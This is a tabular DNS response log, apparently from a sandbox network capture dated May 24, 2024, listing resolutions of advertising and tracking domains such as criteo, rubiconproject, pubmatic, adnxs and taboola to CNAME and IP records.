May 24, 2024 00:35:02.954066992 CEST	1.1.1.1	192.168.2.6	0x8a6	No error (0)	dis.criteo.com	widget.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.954066992 CEST	1.1.1.1	192.168.2.6	0x8a6	No error (0)	widget.nl3.vip.prod.criteo.com		178.250.1.9	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.954077005 CEST	1.1.1.1	192.168.2.6	0x9536	No error (0)	p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.954077005 CEST	1.1.1.1	192.168.2.6	0x9536	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.954094887 CEST	1.1.1.1	192.168.2.6	0x6fbb	No error (0)	p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.954094887 CEST	1.1.1.1	192.168.2.6	0x6fbb	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.954103947 CEST	1.1.1.1	192.168.2.6	0x85b6	No error (0)	hbx.media.net		23.212.88.20	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.954113960 CEST	1.1.1.1	192.168.2.6	0xc886	No error (0)	c21lg-d.media.net	star.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.954124928 CEST	1.1.1.1	192.168.2.6	0x451b	No error (0)	c21lg-d.media.net	star.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.954133987 CEST	1.1.1.1	192.168.2.6	0xa92b	No error (0)	sync.go.sonobi.com	iad-2-sync.go.sonobi.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.954142094 CEST	1.1.1.1	192.168.2.6	0x8f50	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.954142094 CEST	1.1.1.1	192.168.2.6	0x8f50	No error (0)	uip.semasio.net		77.243.51.122	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.954142094 CEST	1.1.1.1	192.168.2.6	0x8f50	No error (0)	uip.semasio.net		77.243.51.121	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.954150915 CEST	1.1.1.1	192.168.2.6	0xf069	No error (0)	dis.criteo.com	widget.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.955430031 CEST	1.1.1.1	192.168.2.6	0x799e	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.955439091 CEST	1.1.1.1	192.168.2.6	0x1ed	No error (0)	t.adx.opera.com	outspot2-ams.adx.opera.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.955439091 CEST	1.1.1.1	192.168.2.6	0x1ed	No error (0)	outspot2-ams.adx.opera.com		82.145.213.8	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.955447912 CEST	1.1.1.1	192.168.2.6	0x2479	No error (0)	pixel-eu.rubiconproject.com	pixel-eu.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.955457926 CEST	1.1.1.1	192.168.2.6	0x2bf8	No error (0)	pixel-sync.sitescout.com		34.36.216.150	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.955476046 CEST	1.1.1.1	192.168.2.6	0x8404	No error (0)	edge-auth.api.brightcove.com	dualstack.brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.955476046 CEST	1.1.1.1	192.168.2.6	0x8404	No error (0)	dualstack.brightcove.map.fastly.net		151.101.2.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.955476046 CEST	1.1.1.1	192.168.2.6	0x8404	No error (0)	dualstack.brightcove.map.fastly.net		151.101.66.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.955476046 CEST	1.1.1.1	192.168.2.6	0x8404	No error (0)	dualstack.brightcove.map.fastly.net		151.101.130.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.955476046 CEST	1.1.1.1	192.168.2.6	0x8404	No error (0)	dualstack.brightcove.map.fastly.net		151.101.194.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.955485106 CEST	1.1.1.1	192.168.2.6	0x2598	No error (0)	edge-auth.api.brightcove.com	dualstack.brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.955493927 CEST	1.1.1.1	192.168.2.6	0xaef9	No error (0)	pubmatic-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.955503941 CEST	1.1.1.1	192.168.2.6	0x9f56	No error (0)	t.adx.opera.com	outspot2-ams.adx.opera.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.955533981 CEST	1.1.1.1	192.168.2.6	0x2922	No error (0)	pubmatic-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.955543995 CEST	1.1.1.1	192.168.2.6	0x3d70	No error (0)	medianet-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.960654974 CEST	1.1.1.1	192.168.2.6	0x9eca	No error (0)	medianet-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.960726023 CEST	1.1.1.1	192.168.2.6	0xdb4c	No error (0)	pagead-googlehosted.l.google.com		142.250.185.225	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.431576967 CEST	1.1.1.1	192.168.2.6	0x5895	No error (0)	usersync.gumgum.com		52.210.15.1	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.431576967 CEST	1.1.1.1	192.168.2.6	0x5895	No error (0)	usersync.gumgum.com		34.247.205.196	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.431576967 CEST	1.1.1.1	192.168.2.6	0x5895	No error (0)	usersync.gumgum.com		34.247.233.198	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.436223984 CEST	1.1.1.1	192.168.2.6	0xd26	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.436249971 CEST	1.1.1.1	192.168.2.6	0xb3a9	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.436269045 CEST	1.1.1.1	192.168.2.6	0x5da2	No error (0)	hbx.media.net		23.212.88.20	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.436278105 CEST	1.1.1.1	192.168.2.6	0xd527	No error (0)	edge-auth.api.brightcove.com	dualstack.brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.442722082 CEST	1.1.1.1	192.168.2.6	0xe9e2	No error (0)	edge-auth.api.brightcove.com	dualstack.brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.442722082 CEST	1.1.1.1	192.168.2.6	0xe9e2	No error (0)	dualstack.brightcove.map.fastly.net		151.101.2.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.442722082 CEST	1.1.1.1	192.168.2.6	0xe9e2	No error (0)	dualstack.brightcove.map.fastly.net		151.101.66.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.442722082 CEST	1.1.1.1	192.168.2.6	0xe9e2	No error (0)	dualstack.brightcove.map.fastly.net		151.101.130.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.442722082 CEST	1.1.1.1	192.168.2.6	0xe9e2	No error (0)	dualstack.brightcove.map.fastly.net		151.101.194.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.447510004 CEST	1.1.1.1	192.168.2.6	0x92ef	No error (0)	pixel-eu.rubiconproject.com	pixel-eu.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.452384949 CEST	1.1.1.1	192.168.2.6	0xd9db	No error (0)	gum.criteo.com	gum.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.452384949 CEST	1.1.1.1	192.168.2.6	0xd9db	No error (0)	gum.nl3.vip.prod.criteo.com		178.250.1.11	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.452394009 CEST	1.1.1.1	192.168.2.6	0xdeac	No error (0)	gum.criteo.com	gum.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.452402115 CEST	1.1.1.1	192.168.2.6	0x941a	No error (0)	sync.go.sonobi.com	iad-2-sync.go.sonobi.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.452409983 CEST	1.1.1.1	192.168.2.6	0xe092	No error (0)	c21lg-d.media.net	star.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.452418089 CEST	1.1.1.1	192.168.2.6	0xacd0	No error (0)	sync.go.sonobi.com	iad-2-sync.go.sonobi.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.452418089 CEST	1.1.1.1	192.168.2.6	0xacd0	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.66	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.452418089 CEST	1.1.1.1	192.168.2.6	0xacd0	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.35	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.452418089 CEST	1.1.1.1	192.168.2.6	0xacd0	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.67	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.452418089 CEST	1.1.1.1	192.168.2.6	0xacd0	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.34	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.452425957 CEST	1.1.1.1	192.168.2.6	0x88f6	No error (0)	pixel-eu.rubiconproject.com	pixel-eu.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.452434063 CEST	1.1.1.1	192.168.2.6	0x4a8d	No error (0)	sync.1rx.io		46.228.174.117	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.452442884 CEST	1.1.1.1	192.168.2.6	0x6342	No error (0)	c21lg-d.media.net	star.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.455432892 CEST	1.1.1.1	192.168.2.6	0x2478	No error (0)	p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.455432892 CEST	1.1.1.1	192.168.2.6	0x2478	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.455450058 CEST	1.1.1.1	192.168.2.6	0xff5b	No error (0)	pixel-sync.sitescout.com		34.36.216.150	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.455457926 CEST	1.1.1.1	192.168.2.6	0x616f	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.455457926 CEST	1.1.1.1	192.168.2.6	0x616f	No error (0)	uip.semasio.net		77.243.51.121	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.455457926 CEST	1.1.1.1	192.168.2.6	0x616f	No error (0)	uip.semasio.net		77.243.51.122	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.455466032 CEST	1.1.1.1	192.168.2.6	0x8407	No error (0)	p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.455466032 CEST	1.1.1.1	192.168.2.6	0x8407	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.455473900 CEST	1.1.1.1	192.168.2.6	0x3077	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.457123041 CEST	1.1.1.1	192.168.2.6	0x933	No error (0)	medianet-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.457133055 CEST	1.1.1.1	192.168.2.6	0x8706	No error (0)	pixel.onaudience.com		51.222.80.231	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.457133055 CEST	1.1.1.1	192.168.2.6	0x8706	No error (0)	pixel.onaudience.com		141.94.171.213	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.457133055 CEST	1.1.1.1	192.168.2.6	0x8706	No error (0)	pixel.onaudience.com		141.94.171.212	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.457133055 CEST	1.1.1.1	192.168.2.6	0x8706	No error (0)	pixel.onaudience.com		141.94.171.215	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.457133055 CEST	1.1.1.1	192.168.2.6	0x8706	No error (0)	pixel.onaudience.com		15.235.15.221	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.457133055 CEST	1.1.1.1	192.168.2.6	0x8706	No error (0)	pixel.onaudience.com		141.94.171.214	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.457133055 CEST	1.1.1.1	192.168.2.6	0x8706	No error (0)	pixel.onaudience.com		141.94.170.64	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.457133055 CEST	1.1.1.1	192.168.2.6	0x8706	No error (0)	pixel.onaudience.com		146.59.148.16	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.457133055 CEST	1.1.1.1	192.168.2.6	0x8706	No error (0)	pixel.onaudience.com		141.94.170.77	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.457133055 CEST	1.1.1.1	192.168.2.6	0x8706	No error (0)	pixel.onaudience.com		141.94.171.216	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.461872101 CEST	1.1.1.1	192.168.2.6	0xbd22	No error (0)	medianet-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.461880922 CEST	1.1.1.1	192.168.2.6	0xeb12	No error (0)	dis.criteo.com	widget.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.461880922 CEST	1.1.1.1	192.168.2.6	0xeb12	No error (0)	widget.nl3.vip.prod.criteo.com		178.250.1.9	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.461888075 CEST	1.1.1.1	192.168.2.6	0x6882	No error (0)	pubmatic-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.461896896 CEST	1.1.1.1	192.168.2.6	0x435a	No error (0)	dis.criteo.com	widget.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.468543053 CEST	1.1.1.1	192.168.2.6	0x8a6a	No error (0)	pubmatic-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.473278999 CEST	1.1.1.1	192.168.2.6	0xa022	No error (0)	dsp.adfarm1.adition.com		85.114.159.118	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.473278999 CEST	1.1.1.1	192.168.2.6	0xa022	No error (0)	dsp.adfarm1.adition.com		85.114.159.93	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.519268036 CEST	1.1.1.1	192.168.2.6	0x2519	No error (0)	t.adx.opera.com	outspot2-ams.adx.opera.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:03.519268036 CEST	1.1.1.1	192.168.2.6	0x2519	No error (0)	outspot2-ams.adx.opera.com		82.145.213.8	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.519289017 CEST	1.1.1.1	192.168.2.6	0x4a11	No error (0)	pagead-googlehosted.l.google.com		142.250.184.193	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.800115108 CEST	1.1.1.1	192.168.2.6	0xd650	No error (0)	t.adx.opera.com	outspot2-ams.adx.opera.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:04.322104931 CEST	1.1.1.1	192.168.2.6	0x99a3	No error (0)	simage4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:04.322104931 CEST	1.1.1.1	192.168.2.6	0x99a3	No error (0)	image4-v2.pubmnet.com	spug-lhrc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:04.322117090 CEST	1.1.1.1	192.168.2.6	0xba52	No error (0)	simage4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:04.322117090 CEST	1.1.1.1	192.168.2.6	0xba52	No error (0)	image4-v2.pubmnet.com	spug-amsfpairbc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:04.322117090 CEST	1.1.1.1	192.168.2.6	0xba52	No error (0)	spug-amsfpairbc.pubmnet.com		198.47.127.20	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:04.353269100 CEST	1.1.1.1	192.168.2.6	0x905f	No error (0)	ib.adnxs.com	xandr-g-geo.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:04.353269100 CEST	1.1.1.1	192.168.2.6	0x905f	No error (0)	ib.anycast.adnxs.com		185.89.211.84	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:04.353269100 CEST	1.1.1.1	192.168.2.6	0x905f	No error (0)	ib.anycast.adnxs.com		185.89.210.212	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:04.353269100 CEST	1.1.1.1	192.168.2.6	0x905f	No error (0)	ib.anycast.adnxs.com		185.89.210.244	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:04.353269100 CEST	1.1.1.1	192.168.2.6	0x905f	No error (0)	ib.anycast.adnxs.com		185.89.210.90	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:04.353269100 CEST	1.1.1.1	192.168.2.6	0x905f	No error (0)	ib.anycast.adnxs.com		185.89.210.46	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:04.353269100 CEST	1.1.1.1	192.168.2.6	0x905f	No error (0)	ib.anycast.adnxs.com		185.89.210.82	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:04.353269100 CEST	1.1.1.1	192.168.2.6	0x905f	No error (0)	ib.anycast.adnxs.com		185.89.210.180	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:04.353269100 CEST	1.1.1.1	192.168.2.6	0x905f	No error (0)	ib.anycast.adnxs.com		185.89.211.116	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:04.353269100 CEST	1.1.1.1	192.168.2.6	0x905f	No error (0)	ib.anycast.adnxs.com		185.89.210.141	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:04.353269100 CEST	1.1.1.1	192.168.2.6	0x905f	No error (0)	ib.anycast.adnxs.com		185.89.210.20	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:04.353269100 CEST	1.1.1.1	192.168.2.6	0x905f	No error (0)	ib.anycast.adnxs.com		185.89.210.153	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:04.353269100 CEST	1.1.1.1	192.168.2.6	0x905f	No error (0)	ib.anycast.adnxs.com		185.89.210.122	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.510607004 CEST	1.1.1.1	192.168.2.6	0x71f3	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.510607004 CEST	1.1.1.1	192.168.2.6	0x71f3	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.510607004 CEST	1.1.1.1	192.168.2.6	0x71f3	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.510607004 CEST	1.1.1.1	192.168.2.6	0x71f3	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.510607004 CEST	1.1.1.1	192.168.2.6	0x71f3	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.512742043 CEST	1.1.1.1	192.168.2.6	0xfcfc	No error (0)	rtb.gumgum.com		54.216.114.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.512742043 CEST	1.1.1.1	192.168.2.6	0xfcfc	No error (0)	rtb.gumgum.com		54.77.248.190	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.512742043 CEST	1.1.1.1	192.168.2.6	0xfcfc	No error (0)	rtb.gumgum.com		99.80.73.249	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.512742043 CEST	1.1.1.1	192.168.2.6	0xfcfc	No error (0)	rtb.gumgum.com		54.217.112.90	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.512742043 CEST	1.1.1.1	192.168.2.6	0xfcfc	No error (0)	rtb.gumgum.com		54.246.231.153	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.512742043 CEST	1.1.1.1	192.168.2.6	0xfcfc	No error (0)	rtb.gumgum.com		63.33.2.172	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.512742043 CEST	1.1.1.1	192.168.2.6	0xfcfc	No error (0)	rtb.gumgum.com		18.200.82.199	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.512742043 CEST	1.1.1.1	192.168.2.6	0xfcfc	No error (0)	rtb.gumgum.com		108.129.15.138	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.514996052 CEST	1.1.1.1	192.168.2.6	0x7fd1	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.523407936 CEST	1.1.1.1	192.168.2.6	0x7dc5	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.523407936 CEST	1.1.1.1	192.168.2.6	0x7dc5	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.523422003 CEST	1.1.1.1	192.168.2.6	0xa248	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.523422003 CEST	1.1.1.1	192.168.2.6	0xa248	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.530122995 CEST	1.1.1.1	192.168.2.6	0x8740	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.530134916 CEST	1.1.1.1	192.168.2.6	0x3398	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.530144930 CEST	1.1.1.1	192.168.2.6	0x894b	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.530144930 CEST	1.1.1.1	192.168.2.6	0x894b	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		52.209.232.1	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.530144930 CEST	1.1.1.1	192.168.2.6	0x894b	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		34.249.60.18	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.530144930 CEST	1.1.1.1	192.168.2.6	0x894b	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		34.240.80.220	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.530144930 CEST	1.1.1.1	192.168.2.6	0x894b	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		34.252.244.225	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.530155897 CEST	1.1.1.1	192.168.2.6	0xb7eb	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.536767960 CEST	1.1.1.1	192.168.2.6	0xd29b	No error (0)	sync.srv.stackadapt.com		54.146.53.134	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.536767960 CEST	1.1.1.1	192.168.2.6	0xd29b	No error (0)	sync.srv.stackadapt.com		54.175.113.230	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.536767960 CEST	1.1.1.1	192.168.2.6	0xd29b	No error (0)	sync.srv.stackadapt.com		54.146.48.107	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.536767960 CEST	1.1.1.1	192.168.2.6	0xd29b	No error (0)	sync.srv.stackadapt.com		54.167.137.47	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.536767960 CEST	1.1.1.1	192.168.2.6	0xd29b	No error (0)	sync.srv.stackadapt.com		54.161.109.156	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.536767960 CEST	1.1.1.1	192.168.2.6	0xd29b	No error (0)	sync.srv.stackadapt.com		54.225.219.192	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.536767960 CEST	1.1.1.1	192.168.2.6	0xd29b	No error (0)	sync.srv.stackadapt.com		52.86.155.245	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.536767960 CEST	1.1.1.1	192.168.2.6	0xd29b	No error (0)	sync.srv.stackadapt.com		54.164.102.167	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.536777020 CEST	1.1.1.1	192.168.2.6	0xd7d1	No error (0)	manifest.prod.boltdns.net	dualstack.brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.536777020 CEST	1.1.1.1	192.168.2.6	0xd7d1	No error (0)	dualstack.brightcove.map.fastly.net		151.101.66.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.536777020 CEST	1.1.1.1	192.168.2.6	0xd7d1	No error (0)	dualstack.brightcove.map.fastly.net		151.101.194.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.536777020 CEST	1.1.1.1	192.168.2.6	0xd7d1	No error (0)	dualstack.brightcove.map.fastly.net		151.101.130.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.536777020 CEST	1.1.1.1	192.168.2.6	0xd7d1	No error (0)	dualstack.brightcove.map.fastly.net		151.101.2.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.549464941 CEST	1.1.1.1	192.168.2.6	0x5a5e	No error (0)	manifest.prod.boltdns.net	dualstack.brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.652252913 CEST	1.1.1.1	192.168.2.6	0x6107	Name error (3)	ads.avct.cloud	none	none	65	IN (0x0001)	false
May 24, 2024 00:35:05.652265072 CEST	1.1.1.1	192.168.2.6	0x8ba8	Name error (3)	ads.avct.cloud	none	none	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.675723076 CEST	1.1.1.1	192.168.2.6	0x20a8	Name error (3)	ads.avct.cloud	none	none	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.731101036 CEST	1.1.1.1	192.168.2.6	0x439d	No error (0)	noa.yahoo.com	noa-atsv2.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.731116056 CEST	1.1.1.1	192.168.2.6	0x3135	No error (0)	noa.yahoo.com	noa-atsv2.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.731116056 CEST	1.1.1.1	192.168.2.6	0x3135	No error (0)	noa-atsv2.media.g03.yahoodns.net		188.125.72.139	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.737755060 CEST	1.1.1.1	192.168.2.6	0xc76d	No error (0)	bats.video.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.737755060 CEST	1.1.1.1	192.168.2.6	0xc76d	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.737755060 CEST	1.1.1.1	192.168.2.6	0xc76d	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.737768888 CEST	1.1.1.1	192.168.2.6	0x9802	No error (0)	bats.video.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
